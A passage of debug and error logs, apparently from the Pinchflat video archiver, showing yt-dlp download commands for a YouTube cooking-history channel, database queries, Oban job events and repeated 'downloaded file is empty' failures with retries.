idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:14:49.921 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/07/98/0798eb83cd6b4322c91caf624b44e24e9566ac30868c9845ab244d7d5fb7cf38.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:14:53.749 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/07/98/0798eb83cd6b4322c91caf624b44e24e9566ac30868c9845ab244d7d5fb7cf38.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 03:14:53.749 [debug] Running yt-dlp command for action: download 03:14:53.750 [debug] QUERY OK source="settings" db=0.2ms idle=853.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:14:53.750 [debug] QUERY OK source="settings" db=0.1ms idle=358.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:14:53.750 [debug] QUERY OK source="settings" db=0.1ms idle=358.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:14:53.750 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/d0/87/d0875c65ca78dd2ecf0d86b33fc34d912d2870771612bfbd54c8f243201c0f93.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:15:00.021 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:15:17.705 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:36.215 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/57/63/5763aff3b613dca508ae0b83ded01870ab88061c05ed9440067b4551eb6c94f7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 03:15:36.215 [error] yt-dlp download error for media item #11535: "ERROR: The downloaded file is empty\n" 03:15:36.216 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11535},"id":1730,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":619195303,"event":"job:exception","queue_time":2498080,"attempt":2,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:15:36.222 [info] {"args":{"id":12546},"id":1728,"meta":{},"system_time":1774941336222203919,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":4,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:15:36.222 [debug] QUERY OK source="media_items" db=0.1ms idle=830.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12546] 03:15:36.222 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:15:36.223 [debug] QUERY OK source="sources" db=0.1ms idle=831.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:15:36.223 [debug] QUERY OK source="media_profiles" db=0.1ms idle=264.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:15:36.224 [debug] QUERY OK source="media_items" db=0.3ms idle=7.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12546] 03:15:36.224 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12546] 03:15:36.224 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:15:36.225 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:15:36.225 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:15:36.225 [debug] Running yt-dlp command for action: get_downloadable_status 03:15:36.226 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:15:36.226 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:15:36.226 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:15:36.226 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/5d/c2/5dc2ec017f048c2ea03613f46a282e120cf51c4b8ee16e991e08393e954c8451.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:15:40.070 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/5d/c2/5dc2ec017f048c2ea03613f46a282e120cf51c4b8ee16e991e08393e954c8451.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 03:15:40.070 [debug] Running yt-dlp command for action: download 03:15:40.070 [debug] QUERY OK source="settings" db=0.1ms idle=679.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:15:40.071 [debug] QUERY OK source="settings" db=0.0ms idle=679.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:15:40.071 [debug] QUERY OK source="settings" db=0.0ms idle=679.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:15:40.071 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/09/e5/09e5f26d4efe8f5df91ddcbc9eee59e95322dce08bea51faa4aa2c13263f3a79.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:15:47.706 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:00.022 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:16:17.707 [info] {"source":"oban","duration":761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:47.708 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:00.023 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:17:17.709 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:47.710 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:00.024 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:18:17.711 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:47.713 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:00.025 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:19:17.714 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:47.715 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:00.026 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:20:17.716 [info] {"source":"oban","duration":816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:41.868 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/09/e5/09e5f26d4efe8f5df91ddcbc9eee59e95322dce08bea51faa4aa2c13263f3a79.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 03:20:41.868 [error] yt-dlp download error for media item #12546: "ERROR: The downloaded file is empty\n" 03:20:41.869 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12546},"id":1728,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":305646526,"event":"job:exception","queue_time":22311146,"attempt":4,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:20:41.876 [info] {"args":{"id":11535},"id":1730,"meta":{},"system_time":1774941641876342349,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":3,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:20:41.876 [debug] QUERY OK source="media_items" db=0.1ms idle=484.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11535] 03:20:41.876 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:20:41.877 [debug] QUERY OK source="sources" db=0.2ms idle=485.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:20:41.877 [debug] QUERY OK source="media_profiles" db=0.1ms idle=418.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:20:41.878 [debug] QUERY OK source="media_items" db=0.3ms idle=8.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11535] 03:20:41.878 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11535] 03:20:41.879 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:20:41.879 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:20:41.879 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:20:41.880 [debug] Running yt-dlp command for action: get_downloadable_status 03:20:41.880 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:20:41.880 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:20:41.880 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:20:41.881 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/69/2e/692e9dd9729f018b757e0178dffff4f7e078d80e56096c183d183b6353a7ea0c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:20:46.298 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/69/2e/692e9dd9729f018b757e0178dffff4f7e078d80e56096c183d183b6353a7ea0c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 03:20:46.299 [debug] Running yt-dlp command for action: download 03:20:46.299 [debug] QUERY OK source="settings" db=0.1ms idle=907.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:20:46.299 [debug] QUERY OK source="settings" db=0.1ms idle=907.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:20:46.299 [debug] QUERY OK source="settings" db=0.0ms idle=907.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:20:46.299 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/11/98/1198f343082ed5862c053b1c79102d878cb0eb17d91fdf8e53e1a73f4f6c7634.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:20:47.718 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:00.027 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:21:17.720 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:47.721 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:00.028 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:22:17.722 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:47.723 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:00.029 [info] {"source":"oban","duration":199,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:23:17.725 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:47.635 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/d0/87/d0875c65ca78dd2ecf0d86b33fc34d912d2870771612bfbd54c8f243201c0f93.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 03:23:47.635 [error] yt-dlp download error for media item 